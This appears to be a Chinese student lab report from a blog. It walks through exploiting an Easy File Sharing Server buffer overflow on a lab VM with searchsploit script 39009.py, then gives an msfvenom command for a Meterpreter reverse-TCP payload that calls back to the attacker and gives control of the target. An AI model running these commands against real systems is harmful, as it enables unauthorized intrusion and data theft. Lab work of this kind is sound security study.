首页 > 其他分享 >复现任务

复现任务

时间:2022-11-22 21:55:25浏览次数:46  
标签:exe server 漏洞 任务 复现 easy 靶机 payload

1. 实验目的和要求

一、漏洞渗透测试

  1、靶机(Windows)安装easy file sharing server(efssetup_2018.zip),该服务存在漏洞。

  2、利用Nmap扫描发现靶机(Windows)运行了该服务。

  3、利用该漏洞,使得靶机运行计算器。

二、Metasploit应用

  1、生成主控端、被控端。

  2、获得靶机(Windows)控制权。

  3、下载靶机上任意一个文件。

2.实验步骤

一、漏洞渗透测试

用nmap 192.168.xxx.0/24 命令扫描同一网段下的主机,发现靶机的IP为192.168.107.130

 

已经确定了靶机的IP后,用nmap -sV 192.168.107.130 更加细致的扫描端口,以及端口的服务

 

在靶机中运行easy file sharing server 后,发现其用到了80和443端口

 

       靶机打开了easy file sharing server后,再次扫描靶机的端口和服务,发现80和443端口都对应上了easy file sharing server 服务

 

  在kali自带地漏洞脚本库中搜索相关漏洞,即输入命令为:searchsploit easy file sharing server

由于我们利用的是easy file sharing server 的溢出漏洞,所以我们找到39009.py这个漏洞脚本,其相关描述为“HEAD Request Buffer Overflow (SHE)”,正是我们需要的

 

我们执行攻击脚本

 

可以看到,靶机成功自动打开了计算器

 

二、Metasploit应用

 

输入命令 :“ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.107.128 lport=5000 -f exe -o /home/kali/Desktop/payload.exe生成被控端,其中ip和端口都使用的是kali的ip 和端口。

  

可以看到桌面成功生成了payload.exe文件

 

在靶机中下载刚刚生成的payload.exe

 

输入msfconsole,打开Metasploit

 

依次输入上图中的五个命令,等待靶机运行payload.exe 文件,就可以对其进行控制

 

 

在靶机运行了payload.exe文件后,kali中看到成功建立了连接

 

在靶机的桌面上,我们放置一张图片,后面我们将在kali中下载该图片

总结:

    本次复现实验,掌握了相关软件漏洞的利用、“木马病毒”的生成和使用。让我们明白了相关服务或者软件一旦存在漏洞,并被利用,其危害是不可想象的,而且一旦成功制作了针对该漏洞的脚本或特定软件,其实施攻击是非常简单的。

      同时,我们电脑的防火墙和杀毒软件若不是特定需要,一定不能关掉,对不明来源的应用程序或其他文件,一定不能轻易下载和运行。这样可以有效的防止类似于上述实验中“payload.exe ”式的攻击。

 

 

 

 

 

 

标签:exe,server,漏洞,任务,复现,easy,靶机,payload
From: https://www.cnblogs.com/mww-i-xy/p/16916603.html

相关文章

  • [复现]2021DASCTF实战精英夏令营暨DASCTF July X CBCTF-PWN
    EasyHeap想可执行的地方写入orw的shellcode,利用tcachebin的df进行劫持malloc_hook然后调用add来触发。frompwnimport*context.os='linux'context.log_level="......
  • PyTorch复现GoogleNet学习笔记
    PyTorch复现GoogleNet学习笔记一篇简单的学习笔记,实现五类花分类,这里只介绍复现的一些细节如果想了解更多有关网络的细节,请去看论文《GoingDeeperwithConvolutions》......
  • 用HijackThis或卡卡安全助手轻松去除Win XP任务栏里的蓝色五角星
    用HijackThis或卡卡安全助手轻松去除WinXP任务栏里的蓝色五角星endurer原创2008-03-02 第1版一位网友在给WindowsXP打系统补丁后,任务栏右下角出现了一个蓝色五角星符号......
  • Crony 一个基于Go语言实现的分布式定时任务管理平台
    crony-分布式定时任务管理平台1.基本介绍1.1项目背景项目中存在许多定时任务,很多代码写法都是采取见缝插针式的写法或者直接丢到task服务里面写,存在以下问......
  • 电脑设置定时执行任务
    ​一、点击搜索 搜索任务计划程序点击打开 二、点击创建基本任务 三、取个名字,然后下一页四、设置运行时间,然后下一页 五、每搁几天运行一次,然后继续下一次......
  • CNETOS LINUX 计划任务详解
    r.sh复制代码tamcdir=HOME/ora/userprojects/domains/tamccd{tamcdir}echorm-f​​​lsheapdump*.phd​​​rm-fheapdump*.phdechorm-f​​​lsjavacore*......
  • Spring中定时任务@Schedule注解的使用
    概述@Scheduled注解是springboot提供的用于定时任务控制的注解,主要用于控制任务在某个指定时间执行,或者每隔一段时间执行.注意需要配合@EnableScheduling使用,配置@Sch......
  • Java并发编程学习12-任务取消(上)
    任务取消(上)《任务取消》由于篇幅较多,拆分了两篇来介绍各种实现取消和中断的机制,以及如何编写任务和服务,使它们能对取消请求做出响应。如何理解任务是可取消的?如果外部......
  • 分布式任务调度平台xxl-job
    1、概念官方地址中文版:http://www.xuxueli.com/xxl-job源码仓库地址:http://gitee.com/xuxueli0323/xxl-job什么是xxl-job?​XXL-JOB是一个轻量级分布式任务调度平......
  • hadoop集群跑任务出错总结
    1. Causedby:org.apache.hadoop.yarn.exceptions.YarnException:Downloadandunpackfailed解决:一般是/etc/hosts没有配置,需要把集群ip对应的域名添加到hosts即可,如......